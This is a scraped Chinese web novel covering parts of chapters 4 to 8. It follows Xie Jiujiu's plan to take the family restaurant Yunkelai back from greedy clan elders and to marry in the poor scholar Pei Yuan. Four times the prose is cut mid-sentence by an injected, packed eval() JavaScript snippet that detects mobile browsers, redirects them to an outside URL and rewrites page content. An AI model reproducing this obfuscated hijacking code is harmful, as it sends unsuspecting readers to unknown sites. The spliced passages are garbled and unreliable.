里正听命于地方官吏差遣负责催征钱粮和管理治I安,只看族爷把家安在镇上,据说在县里也置办了宅子,就知道他们家靠着这八年捞着的油水肯定不少。 这两家在谋算谢家财产的时候固然是一条心,但事关谁家做里正的时候,就又是另外一回事了。谁都想自家上去,私底下联系拉拢村上各家,谁还没说过对方的不是? 现在他们两家家在村上一个个的都是一副热心肠老好人的模样,村上的族人也不怕得罪了他们,与其让他们把谢德昌的家产装进自家口袋,还不如站在谢九九这边。 私塾是对村上人人都有益的事,谢家的田就在村上也跑不了,再不济谢德昌的坟还在祖坟山上,真要是以后谢九九不肯给私塾的银子了,到时候也有个倚仗,不怕他家赖了。 人心从众,没那么好也没那么恶,只要没有人带头,云客来和谢家剩下的田产族里大部分人并不非要觊觎。 有人领头觉得谢九九的安排好,好些人也高一声低一声的附和,甚至还有人直接嚷一嗓子,让族爷发话把云客来还给谢家。 事情发展到这个地步,不光是谢家自家族人等着要一个结果,祥云楼里还有旁人呢。族爷和几个族老才后悔,怎么就为了贪一顿饭就把这种事在祥云楼里摊开来说。 可不管他们怎么为难后悔,眼下不表态是肯定不行的。 不说族人们眼巴巴的等着,就是谢九九身后那俩五大三粗的汉子,又悄无声息的挪了挪位置,把族爷起身的路都给堵死了。 老头儿铁青着一张脸,抬头去看谢宝柱,却见谢宝柱此刻正跟一旁的幺叔爷说话。 幺叔爷说九九这个安排好,办私塾是替子孙后代着想,谢家一族都跟着受益无穷。 谢宝柱甭管是真还是假,这会儿正连连点头,好似他是一心为了族里好,一丁点私心都不曾有。 “云客来本就是你家的,你和文济都大了,这产业自然该交给你们打理。” 族爷被逼得没办法,只能慈眉善目咬牙切齿的把到了嘴里的肥肉吐出来,“不过族里到底代管了三年,要还给你也须得时间。 文济要读书,你一女子不好整日抛头露面,不如等姑爷进门,到时候也好把德昌的家业稳稳当当交还给你们。” 族爷说这话的时候意有所指的往谢文济身上看去,他故意说要等谢九九招赘的女婿进门,是想要挑起谢文济心里的不满。 他才是谢家的儿子,族爷不信谢九九要留在家里招赘,谢文济心里就那么乐意。 哪知谢文济这会儿已经强压住心中的惊诧,笑着把话接过去,“那就这么说定了,等我姐的亲事定下来,我和我姐就去收云客来,到时候再跟族里好好商量私塾的事怎么办。” 一码换一码,你们不把云客来还回来私塾就一日只在嘴上落不到实处。 几个族老听了这话,这才扭头去看一向沉默寡言站在谢九九身后的谢文济,众人这才恍然,原来谢德昌生的这俩小崽子不是任人摆布的兔子,而是一獠牙就能咬人的狼崽子。 云客来东家的大姑娘要招女婿上门的消息,很快就在县城里传开了。 前天当着那么多人的面,黄娟又气又急,还不能当着谢家人的面拆女儿的台, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176318|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回家以后就气得躺下,歪在床上裹着抹额直哼哼。 见谢九九稳得八方不动一点改变主意的打算都没有,这才啪一下把包在头上的抹额扯下来,起身站在窗户边朝东厢房喊,“谢九九你给我过来!” 喊的是谢九九,谢文济也从书房跟了过来。两人站在正房门口你推我我扯你,最后还是谢九九更霸道些,硬是推着谢文济挡在自己前面进了屋子。 “这么大的事,你怎么就不跟我们商量就定下了。” “商量了您也不会答应。” 相似的对话从前天回来的路上到这会儿,母女两个已经说了无数遍。只要黄娟没说腻,谢九九就一句一句的应着。 “你出去打听打听,谁家养的儿子愿意送出来当上门女婿,真愿意上门的不是家里穷得揭不开锅,就是有别的带不过去的缺点。” “你以为招女婿是那么简单的事情。”谢九九心气有多高黄娟是最清楚的,“愿意给家里当上门女婿的,九九你自己拍着胸脯,你能不能看得上!” 黄家和谢家当年对亲家,外人看着门当户对条件家世都差不多,但其实黄家还是要比谢家强些。当年是黄娟看中了谢德昌模样好又能说会道的,才一门心思认定了这人。 知道喜欢一个人是什么滋味,黄娟就更舍不得谢九九为了家里把自己婚事给搭进来,她怕女儿这辈子找不到一个喜欢的人。 别说什么搭伙过日子这样的话,有时候喜欢和不喜欢外人瞧着差不了多少,只有过日子的人才知道究竟有多天差地别。 这三年被谢氏族里欺负着的日子不好过吧,可再不好过黄娟只要想想以前跟谢德昌过的日子,就觉得也没有那么难了,她想女儿也找到一个能在最难的时候想一想就不难的丈夫。 “娘,你放心,我肯定是要找一个我看得上的男人回来。人家入赘又不是卖身,进了门只要是个讲道理的人,这跟我嫁去别人家过日子,能有多大的区别。” 谢九九明白母亲对自己的心,可这世上哪有那么多一见钟情再见倾心,一辈子和和美美的夫妻。 反正跟着爹在云客来见过那么多人,听了那么多故事,好得不得了的十之一二,恶得丧良心的也就那么几桩,剩下的还不是普普通通好也罢歹也罢,日子总能这么混下去。 “娘,我不留在家里,咱们家的产业就得被族里占了去。他们不会有耐心等到文济长大,家里要是没了云客来和田产,您觉着我又能找到什么样的好婆家。” “甘蔗没有两头甜,这个道理您还没明白吗。” 明白,都明白!就是心里这道坎过不去。黄娟捂着着急上火肿起来的牙龈在家磨蹭,谁来打听谢九九的事都不说,另一边田婆子却已经得着信找上门来了。 一进门就冲着谢九九直乐,“外边传咱们家大姑娘要招女婿进门的事都传疯了,我今天就是想问问这事是不是真的。要是真的,这活儿你们别托给别人,就交给我去办。” 5. 第 5 章 “少爷,后院的书房又漏水了,我爹看过说这次得请人来修一修才行,要不然等进了梅雨季,书房里的书就要遭殃了。” “知道了,年前我跟书铺的老板说定了,过完年就能预支上半年的工钱。” “家里的米和油也不多了,您看是不是趁着开春再买些备在家里。” “买些吧,过阵子雨多,叫你娘平时没事少出门,她那腿脚也不利索。” 裴元从已经用得半旧的钱袋里摸出两个银角子递过去,拢共四钱多一点的银子,除了能买些米油盐醋,还能割一条肉回来,一家子人过日子,总不能一点荤腥都不见。 裴家的宅子跟黄家在一条巷子里,黄家在巷子最前头,一家子进进出出的热闹的很。裴家在中间,光是前后三进的大宅子,就算是整条巷子里最阔气的人家了。 可惜裴家老两口一连生的一女一儿都没养大就夭折了,之后家里也曾纳过一个姨娘进门,想要再生一个孩子继承香火。 但没有就是没有,十年前妻子蒋氏先行一步。她走之后没两年,当年纳进门的姨娘也去世了,留下裴雨伯一个人守着这么大的宅子,深居简出的过日子。 四年前,裴雨伯大病了一场,或许是感知到自己寿数将尽,这才去了一趟府城跟族里低头,想要从裴家后辈里挑一个出来过继为嗣。 裴雨伯是从府城裴家分出来的,他娘是他爹续娶的继室,他是他爹的老来子。 他爹去世的时候他还小,但老爷子疼幺儿,不顾前面几个大的儿子的反对,硬是把家里一个总旗的武职给了裴雨伯继承。 不过家里大部分的家业和财产还是几个兄长的,老爷子死后裴雨伯和他娘就被几个兄长以卫所守备在容县为由,把人从老宅里赶了出来。 年轻气盛的裴雨伯曾觉得从裴家出来是好事,总旗品级不高,每年也有六十两的俸禄。再加上屯田,每年年底的收入和他娘的体己,早年间裴家在县城也算是大户人家。 这些年丧女丧子之后,又接连送走了老娘妻子和妾室,对于一个人来说打击可就太大了。 以前身上挂着总旗的武职,一年到头总还能弄些额外的银钱回来,后来就剩他一个人过日子就不费那个心思了,每年发多少俸禄就可着这点俸禄用。 多少年跟本家没往来的人找过去,瞧着还体面但浑身上下还是掩饰不住一股子颓唐之气。 说明来意,年纪最大的哥哥没有拒绝他所求之事。 唯一一个要求,把当年老爷子给的总旗的武职还回来,还了就给他挑一个本宗的孩子过继给他当嗣孙,不还这事便就此作罢再不提了。 裴家曾祖曾在京城为官,回乡之后在岳州经过几十年的经营,已然是府城中数得上的富贵人家。 裴家如今大老爷主事,二老爷在高州府任通判,正经府衙里的佐贰官。裴元的父亲便是二老爷这一房所出,家中排行老三。没跟着父亲去任上,而是留在岳州管着二房留在老家的产业。 裴元的娘是裴元的父亲养的外室,身为外室子裴家知道有裴元这么个人,但他从未踏足过裴家的门。 第一次去裴家,是他父亲让身边的小厮带着他去的,让裴雨伯见了一面,从那以后他就过继给了裴雨伯,成了他这一支的孙子。 而裴雨伯总旗的武职,则由裴元的亲爹,裴家三爷以侄儿的名义承袭。裴三爷承袭总旗在先,裴元过继给裴雨伯在后,前后不过一个月就把两件事都办妥了。 一家子把这事安排得妥妥当当,唯独没人问过裴元和裴元的亲娘关氏愿不愿意。 但关氏是愿意的,关氏原本也是官宦人家出身,家中父亲犯了事才一家子落了个流放岭南的下场。 当年关氏还小,从前金娇玉贵的小姐一下子跌落云端,且不说心里受不受得了,光是从京城到岭南这一路身体就受不住。 一家子老小妇孺还没走到岳州就死了几个,等路过容县时关氏就已经病得奄奄一息就剩一口气了。 关氏她娘知道女儿再跟下去就只有死路一条,只得狠心拿偷藏下来的首饰买通了押送的衙役,一卷席子把病重的女儿扔在了容县。 反正再往前也是死路一条,不如赌一把,万一有人把女儿给捡回去了呢。活着,只要能活着不管活得怎么样,都比死了要强。 这是关氏一直记得的一句话,是她娘在她耳边嘀嘀咕咕念叨了无数次的话。 关氏的运气不算好,也不算最差。她确实是被人给捡回去了,只是去的地方不体面。 八九岁的小姑娘已经看得出模样美丑了,关氏作为官宦人家出来的小姐气度模样那都是顶好的。被独门独户的寡妇捡回去养了几年,想要强压着她做暗门子的生意。 谁知还没开张就被裴元他爹截了胡,拿银子从那寡妇手里把关氏买下来充当了外室。 关氏知晓不管是跟着那寡妇过日子还是跟着裴家老三,自己都只是他们眼里的一个玩意儿。 她也曾放浪形骸过,无所谓体面不体面,裴老三来了就伺候,不来只要留够了银子她自己也能活。这辈子自己的命本就是捡回来的,哪一日到头了都不算亏。 直到后来有了裴元,生下来的孩子红皮猴子一样自己抱都不会抱,捧在手上跟孩子一起哭。哭过了才彻底活过来,慢慢的活个像个人了。 可再像个人,关氏也知道自己的儿子因为出身不能真的堂堂正正走出去,跟外边的爷们一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176319|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ‘外室子’的身份是他生下来就带着的罪,不说平常生活里别人的指指点点,光是不能科举这一件事,就断了儿子所有的后路。 朝廷里虽未明文规定外室子不能考试,但考童生都得身家清白已经考中秀才的廪生担保。裴元这个身份,即便书读得不错,也没人肯给他担保。 听说裴家要把儿子过继给裴雨伯做嗣孙,关氏哪有不愿意的。总旗给了裴老三就给了,本也不是自家的东西,只要能给儿子换来一个清白的身份,就值了。 跟着裴雨伯回家前,裴元回去收拾东西的时候关氏千叮咛万嘱咐,过去了就不要再记着自己是自己和裴老三的儿子,他的爷爷就是裴雨伯。 好好的伺候人家,好好的读书。不要老想着自己如何,就记着一句话:活着,只要能活着就好好的活,他好了自己也就跟着处处都好了。 夜深人静时,裴元闭上眼睛总能想起他娘站在门边又哭又笑的样子。哭是舍不得儿子,笑是儿子终于爬出泥坑朝着光明正大的好日子奔了。 为此,裴元在被裴雨伯带回家以后,确实是真心实意把他当做自己的爷爷看待。毕竟亲爷爷他也没怎么见过,老爷子能给他一个能拿得出手的名分,这便是再造之恩。 就是裴雨伯这些年着实没给家里留下什么家底,把裴元带回来之后许是自觉把这辈子最后一件大事给办妥了,没几天就病倒了。 病了就伺候,这没二话可说。病了大半年家里的现银花了个精光,裴元把关氏塞给自己的体己也搭进去大半,到最后银子花干净了,人也咽气了。 棺材是裴元跟抄书抄了大半年的书铺掌柜借来的,办完丧事身上就剩了十二两八钱银子。 家里几个长工和厨娘都辞退了,只留下裴家做了大半辈子的一家子人。 儿子高义负责家中内外的杂活儿,老汉儿原先还负责赶车,裴雨伯一死马车也卖了,老高头如今就负责守家看门和帮儿子搭把手做些杂活,厨房里的活计归了高义的娘水妈妈。 家里前后三进的大院子,即便把第三进的后罩房全锁上不用,一年到头光是维护和修缮也是一笔不小的开支。再加上从小跟在裴元身边的小厮,一共五张嘴要裴元一个人养活。 给书铺抄书,替人写信写帖子写状子,替县衙六房当临时的文书誊写抄录,总之守孝三年裴元把能赚钱的活儿都干遍了。 如此三年下来还是捉襟见肘得很,如今眼看着要出孝,明年年初就能考童试。这又是一笔不小的开销,银子从哪里来真就是叫人头疼得很的事。 不过许是已经过了最穷困潦倒的低谷,还没等裴元想好出了孝期该想什么法子赚钱,田婆婆就迈着小碎步登门了。 6. 第 6 章 “元哥儿,今天忙不忙着出门,要是不忙婆婆跟你说个事,你看成不成。” “成,怎么不成,婆婆屋里来坐。” 一条巷子里住着的邻居,又是长辈。话说到这份上了,就是有事也不能走啊。 “曹勇,去把过年前买的新茶煮上。” 田婆子除了保媒拉纤的本职工作,平时也替人做个中牵个线之类的,这几年裴元好些写状子写帖子的活儿都是她给找来的。 第一次来的时候田婆子心里也没底,裴家再落魄以前当家的好歹还是个总旗大人。都说武将不如文官金贵,在老百姓眼里甭管什么官,那都是老爷。 瘦死的骆驼比马大,裴家的外室子身体里流着的也是裴家的血脉,从小好吃好穿养大的少爷,怕是看不上这三瓜两枣的。 谁知裴元真不是那等拿下眼看人的人,田婆婆第一次上门说这事就一口答应下来。当即就问清楚事情由来写了一张状子给田婆子,也不肯收钱。 只说第一次替人写状子不知道合适不合适,先拿去用着。 要是能行,从下一次起就该怎么收银子怎么收,田婆婆是在县城街面上混迹几十年的老人了,收了银子两人怎么分按着规矩来便是。 读书人,大多清高,县城里和镇上能读得起书一门心思往科举上奔的人家,家境大多都还过得去。 人家那心思都扑在读书上,黄白一物商贾一道那都不是正经事,不好多沾分心。就算有人想要赚钱补贴家里,能给书铺抄书就很不得了了。 就连给人做西席或是私塾先生的,也多是考试多年不中觉得没希望的老童生和老秀才。只有裴元不在意这些,只要田婆子找了活计来,他都乐意接。 有时接的小活儿不过是帮人写个送礼的帖子或是家信,报酬连几个钱都用不着,通常就是拿一碗鸡蛋或是一碗豆油,或像是红枣果子之类的东西拿上些,再不然拿上一碗油渣也就行了。 东西拿到手田婆子给多少裴元就接多少,换不了钱,送到厨房去也算是个进项,积少成多的水妈妈都觉得这样挺好。好些东西不用自己买,家里总是没断过的。 前年裴元能去衙门里帮着户房当临时文书多赚一份银钱,也是田婆婆给牵线搭桥,就是瞧着这后生不计较又不穷要脸面,才敢把他介绍过去。 正因为如此,知道谢家要招上门女婿,田婆子第一个就想到裴元了。 “元哥儿,这话说出来我是不怕你恼的。 以后科举考试能有个清白拿得出手的身份就够了,没人在意你是不是过继来的。但成亲成家远不是那么回事,考试是死的人是活的,你说是不是这个道理。” 是,这个道理放到哪里都没错。裴元点点头,就自己这个情况人家稍微心疼闺女的,都不会把孩子嫁过来。 自己光是这亲的过继的身份都够乱的,再说关氏如今还在府城自己住着,自己难道不管亲娘?到时候又要操持这边家里又要管着关氏,没人乐意的。 也有那奔着这三进的宅子就愿意把女儿嫁过来的,裴元自己又不愿意。 关氏被留在府城的时候已经记事懂事,家里没出事之前她也是读书认字的。裴元三岁启蒙,之后一路请先生教导读书从未落下,这样一个人心里没一点儿傲气,那不纯属扯淡嘛。 “田婆婆,这几年您处处照看我,有什么好的挣钱的法子总先惦记着我这边。今天有什么话您尽管直说,便是不成,我与婆婆之间难道还会为了这事生嫌隙不成。” “诶、诶。这话说得正是。”田婆婆一给人做媒就习惯了先说一大通话铺垫铺垫,却忘了眼前这小子是个心思极通透的人。 “今天我去了谢家,谢家大姑娘想要招赘,我当时就想到了你。” 田婆婆今日去找谢九九就是想问问她,对招赘的女婿有什么要求。谢九九对此积极得很,当即就拿了十两银子给田婆子。 “人家说了想要找个识文断字,讲得通道理,只要心眼正为人处世圆滑厉害些不怕,对外刁钻些也无妨,过日子吃了亏敢豁出去跟人拼命的女婿。” 难不难,其实挺难的,光是识文断字还愿意当上门女婿的人就不多。但这不有个裴元嘛,田婆婆这样那样把情况一说,谢九九就点头让田婆婆来问问裴元这边的意思。 “谢家大姑娘从小就被她爹当男孩儿养的,不光读书识字还打得一手好算盘,云客来的菜单她七八岁就能倒背如流。 谢家族里靠不住,她才不得不招赘。不过这也有好处,以后成亲在一起过日子除了家里人,没人能对你们指手画脚。 她外家你也熟悉,黄海那人圆滑些是有的,但这么些年跟咱们相处下来谁都知道这人不错。独木难支,你一个人顶门立户太艰难了。” “不过入赘这事到底跟成亲娶妻不一样,这事你好好考虑,要是觉得不行你跟婆婆说,这事咱们从今往后就再不提了,只当没这回事。” 田婆子是知道裴元这几年是怎么过来的,裴雨伯这个家就是个深坑,裴元努力挣来的钱也就勉强维持,只要没本事一次赚一笔大的,这些零散的银子都得填到家里去。 他要是亲生的倒是好了,把宅子一卖把老高那一家子安顿好,他再另买一个小宅子日子立马就好过了。可他是过继来的,小心再小心都不为过,怎么能出孝就把家里的产业给卖了。 入赘?今日之前裴元从未想过这件事。田婆子真的提了这事,裴元心里却并不算多么意外。 他低头去看炭盆里烧得火红的零星几块碳,家里没人知道今天他拿给高义的那四钱银子就是自己眼下能拿得出来唯一的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176320|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银角子,剩下的都是些散碎的铜板。 抄书这个活儿得有耐心,抄的书不同给的价钱也不一样。他的字是被关氏盯着狠狠练过的,很拿得出手。也正因如此,每次抄的都是卷册很多的大部头。 银钱不少但花费的时间也不少,唯一的好处就是书铺会提供笔墨。抄书抄老了的人在纸笔上都知道该如何省下来,裴元想要支撑起这个家,就得一直一直在这些事情里打转,仿佛永远挣脱不开。 至于替衙门里干的活儿,说实在的还不如抄书赚的钱多,有时候甚至还得自己往里面搭银子。 人家愿意找你誊写文书那是给你这个面子,事情做完了有没有报酬看运气,但逢年过节裴元是一定要给衙门各处上下打点的。 人不能只看眼下,他以后还要科举考试,不管能考到哪一步,要是能跟县衙里的人打好关系总没坏处。 真要是学识有限考不出个名堂来,到时候退一步在县衙里谋个长久的差事,也是能把日子过下去的。 谢家大姑娘得罪了整个族里要招赘的事传遍了整个县城,裴元自然也知道。 说来他对谢家有天然的好感。 当年自己跟着裴雨伯回来以后,自己原本的出身来历很快就在左邻右舍间传遍了。 都说见面三分情,这几年裴元进进出出的,能当着裴元的面拿自己是个外室子来啐人没有,一条巷子里住着打了照面都能笑着点点头。 再不济不搭理就得了,谁也不会莽到非要天天指着鼻子说,‘看,那小子的亲娘是给人做外室的。’ 可有些话不用说,光是一个语气一个眼神,裴元就能知道那人对自己是什么态度。他不在意那些轻蔑自己出身的人,反正自己活在这世上也不靠他们讨口饭吃。 不过那些从未拿下眼瞧过自己的人,裴元也是都记在心里的。 裴雨伯过了一辈子的好日子,死前那一年即便病得重了,隔三差五的还是念叨想要吃云客来做的鲜椒鱼头和杂鱼锅子。 为此裴元专门问过大夫,大夫的意思是裴雨伯想吃什么就吃什么,只要吃得下去就比不吃强。听了这话裴元还有什么不明白的,不就是云客来嘛,怎么也得让裴雨伯吃尽兴了。 每次不管是裴元还是家里人去云客来把菜点好端回来,谢掌柜的态度都是那样。 笑呵呵的,不轻视他也不故意厚待一分,在他眼里裴元就是县城里极普通的一个后生,裴元很喜欢这样被对待。 后来谢德昌跟裴雨伯一个月内前后脚各自因病去世,裴元还曾专门上门送了一份丧仪。当时他自己身上也带着孝就没进门,托人一起送进去就算是了了一件事。 此刻田婆子想要牵自己跟谢家这根红绳,让裴元沉吟了良久,直到手中茶盏里的茶都半凉了,才下定决心。 7. 第 7 章 “田婆婆,入赘去谢家这事能谈,但我家这宅子不能就这么荒废了。 毕竟我是祖父过继回来承嗣的,为了过继个孙子连总旗的武职都还给本家了,您说我要是这么拍拍屁股就走,是不是太欺负人了。” 是,人活在世上总要讲究个义道,尤其不能欺负死人。 人家拿世袭的武职换回来一条香火,自己借裴雨伯这一房改换了身份,现在刚守完孝自己拍拍屁股给人入赘去,剩下裴雨伯这一房什么都没落下,这太不像话了。 “哎呀,元哥儿这话说得对,这可真是我想得不周到了。” 田婆子光想着两家都是读了书又不拘泥古板的性子,却忘了两家的情况都复杂得很。裴元说是上面长辈都没了,其实亲生的爹妈都还在呢,真要是想入赘,说不得人家那边还不同意。 “不怪婆婆,是我这个出身确实拿不上台面。谢家有产业有田地,能看得上我是我高攀。” 什么裴家子,什么瘦死的骆驼比马大,说出去都跟笑话一样。自己眼下就是孑然一身无依无靠的人,有什么好挑挑拣拣的。 “我说这话的意思,是入赘可以,但裴家这些人的牌位我得带着。我活着一天他们就得一天的供奉饭,祭日清明七月半也能得一炷香的祭拜。” 裴元想得很明白,这个机会不抓住,自己说不定这辈子就这么忙忙碌碌浑浑噩噩糊弄完了。 不就是当赘婿嘛,只要谢家大姑娘是个能讲理的人,姓裴是什么多了不得扔不下的光荣吗? 说媒这事,没有一说就成的时候。寻常亲事那都得媒人来回来去的说项撮合,要不然怎么有双方结了亲要给媒人送鞋的老规矩呢,真真是费劲儿又费鞋的。 尤其田婆子还是一双小脚,在家吃了个中饭回屋里躺了半个时辰,收拾收拾喝口水就又出门了。 刚走到巷子口觉着腿软实在走不动了,干脆招手叫了个滑竿。两个挑夫一前一后担着长杆挑着竹椅,只要没下雨坐上去就能走。 到谢家的时候站在门口都能听见里头说话,吵吵嚷嚷的一听就知道还是黄娟不乐意女儿招赘,正闹呢。 田婆子是个聪明人,人家家里拌嘴吵架的时候绝对不进去讨嫌,干脆拿手帕子在巷子旁一块石头上拍了拍,安安心心坐下等。 一直等到里头听不见什么动静了,这才起身去敲门。 谢家的院子前后两进,进门是影壁,绕过影壁便是前院。前厅是家里以前招待客人的地方,以前大多数时候都是谢德昌在用。 他去世之后这三年几乎就空下来了,外男不会在一家子妇孺守孝的时候上门,亲戚和邻居过来也就直接请到内院去了,用不着在前院。 两侧的厢房,一边是谢德昌的书房,一边是客房。这三年也是锁着的,只隔段时间进去打扫一下,别让屋子荒废破落。 穿过前厅是一条不算宽的走廊和垂花门,寻常老百姓家就算有点儿家底也不会把钱花在这些花里胡哨的上头,不管是房梁还是垂花门,用料都实在却一点儿也不花里胡哨。 垂花门里的内院格局方正规整,三间宽的正房两边带着左右耳房。正间待客吃饭,芝娘年纪还小不敢放她一个人住,就住在右边次间里,左边黄娟住着。 左右耳房一间堆杂物,一间归家里两个妈妈住。 陈妈妈负责厨上的活儿,她以前是在云客来后厨当厨娘的,后来年纪大了云客来的差事太累人,就干脆把人放在家里,是家里的大厨。 江妈妈本是谢德昌找回来的奶妈,当年黄娟生谢文济的时候生的艰难,生下来奶水不好只能从外面请奶妈。 正碰上江妈妈丈夫去世,留下一个嗷嗷待哺刚出月子的小崽子,就干脆让江妈妈带着孩子住到家里来了。 黄娟不是完全没奶水,再加上江妈妈的奶水,给谢文济喂过以后,她自己的儿子还能混个半饱。再添上些米糊糊米汤,两人才算是把最艰难的几年撑过来。 后来家里不用奶妈了,江妈妈也没有再离开。负责屋里的杂活,谢九九和弟妹的里衣和姑娘家的小衣裳,一大半都是江妈妈的做的。 她儿子唐全跟谢文济一般大,小时候跟着谢文济一起玩儿,谢文济体弱他就帮着在外面打架。 他和江妈妈都不是卖身为奴,算是给谢家做长工的。唐全这几年跟着谢文济一起读书,家里家外的事情他跑腿的时候多,已经能当个大人用了。 这会儿田婆子上门就是他给开的门,一见是她咧嘴就笑,“婆婆您可来了,您再不来大姑娘就要愁死了。” “黄娘子又跟大姑娘吵了?”田婆子踩着一双小脚往里走,一边走一边高声喊黄娟,“这回我保的这桩媒只有样样好的,娘子快别再气了。” “田婆子你怎么又来了,不是说了我家九九招赘这事我不同意,这事就成不了。” “怎么成不了。娘,之前您跟我们可说得准准的,说是老二身子不好芝娘又小,家里归我当家。我既是当家,这话就算了算数。” 谢九九本来已经被她娘缠磨得躲回屋里不出来了,这下一听田婆子的动静赶紧迎出来。田婆子不是个没谱的人,上午刚走下午又来,必定是裴家那边的事情有回音。 正房次间里,黄娟头上箍着抹额,一副被谢九九气病了的样子,两只眼哭得肿眼泡一样,好似谢九九不是要招个女婿回来,而是要招个祸害回来一样。 “娘,我这几天嘴都说干了,这个道理您怎么就是不明白呢。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176321|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那……”那不还是怕你找不着合心意的丈夫,怕上门的女婿不如别人家的姑爷走出去腰杆子硬,日子过得不顺心回来拿你撒气。 更怕刚上门的女婿处处都好,时间一长上门女婿不好当,那处处好也成了处处不好了。 “那还有文济呢!”本来都没什么话能拿出来反驳的了,看着跟在谢九九后面进来的儿子,黄娟灵光一闪就又想到了个理由。 “咱们家不是没儿子,你现在招赘个女婿回来,以后文济大了要成家,这家产怎么办。” 谢九九一听这话都笑了,她就等着自己这娘什么时候能想到这事上面来。谢文济没好气的拍拍自己额头,我的个亲娘诶,感情闹了这么久您才想到最要紧的事上。 “娘,您忘了咱们还是商籍呢,爹在世的时候已经张罗着要给这小子改籍。他今年十三,再过几年就该下场考试了,考不考得上且不说,这商籍我是一定要给他改了的。” 改了商籍,家里的田产家产放一边,云客来就不能是他的。 到时候真要是他能中个秀才,能有八十亩免税田,家里的田产自然要归到他名下,要是再往后还能考中,家里这点产业那还是问题吗。 要是考不中,那也是多少年之后的事了。 “娘啊,人家说人无远虑必有近忧,咱们家如今就只能先看着眼前的忧走一步看一步,远处是个什么光景,咱们得先活到那时候再说吧。” “那老二呢,这事老二怎么说。”女儿是哄自己还是说着说着来了真火黄娟分得清,这会儿谢九九明显就是有些不耐烦不高兴了。 这个大女儿是丈夫手把手教大的,也不说当男儿教养,但就是什么都要教给这闺女,谢九九发起脾气来,黄娟还真就有些怵。 “云客来能要回来就该归我姐,我听我姐的。” 谢文济当然清楚他姐对他的安排,自己是要考试的。家里这个情况光有饭庄产业不够,他就是削尖脑袋也要往仕途上靠。 “我本来也不乐意我姐嫁出去,就是芝娘,以后大了说不说人家也不着急,说不定那时候我出息了,还能再给您招个小女婿回来。” 谢德昌去世的时候谢文济才十岁,半大不小的年纪身体还不好,家里大多数事情都是谢九九这个姐姐在当家,他是真不乐意姐姐嫁人。 “再说,就我姐这个脾气,除了咱们谁家受得了。”亲姐弟在家一句话说不好,自己有时候都能被她气得够呛,外人谁受得了她。 “去你的,什么就受不了了,我多讲道理一个人,少埋汰我啊,回去读你的书去。” 谢九九一把把谢文济推出去,这才转身笑着问田婆子,“婆婆上午刚走又来,想必是裴家那位少爷答应了?” 8. 第 8 章 黄娟跟孩子掰扯事情的时候田婆子就安静看着,等到黄娟不哭了,谢九九也把事情差不多都说明白了,田婆子才把裴元的要求明明白白摊开来说清楚。 裴元提的要求并不过分,谢九九都没问亲娘的意思就点头答应下来。田婆子再去看黄娟的脸色,也比之前好了少许。 裴雨伯家那点事,县城里不少人知道。当时裴雨伯病得重了的时候,大家伙还都说裴雨伯看着放浪形骸但其实心里明白得很。 死攥着一个总旗的武职不放,裴家就不会管他。家里没个能担事的人管着,家里的下人长工再本分,一睁眼过的也是操心的日子。 用一个武职换了裴元回来,临终前好歹过了一段有人管有人伺候的舒心日子。现在裴元给他守完孝还愿意带着牌位入赘,倒是个讲道义的人。 很多时候挑拣婚事亲家,最要紧的都不是家世而是门风。自家的情况好人家不会让儿子上门做女婿,裴元这样的出身也谈不上什么门第讲究。 那么他这个人有没有道义讲不讲人情就凸显得格外重要,年轻的夫妻成亲以后好过那一阵子,再往后能过的和顺很多时候就得看良心了。 裴元是一个连死人都不想欺负的人,跟这样的人相处即便不是事事都好,起码心里不害怕,真到了过不下去的那天,也走不了大样子。 不过谢九九想的不是这些,裴元看似只提了一个很好答应的条件,但越是这样的人心中越是有丘壑,他是心里装的东西太多了,所以才没打算跟自家细细掰扯。 可自己不一样,自己要过的日子就是这些家常琐事,他要是眼里放不下这些,再是知书达理恐怕也是不行的,这人必须得自己见一见才行。 “婆婆,有些话总劳烦您在中间传也麻烦,要不还是见一面吧。” “这会儿就见?” “婆婆不是说他字写得好,书也读得不错。就说文济打算跟他请教字上的功夫,您看行吗。” 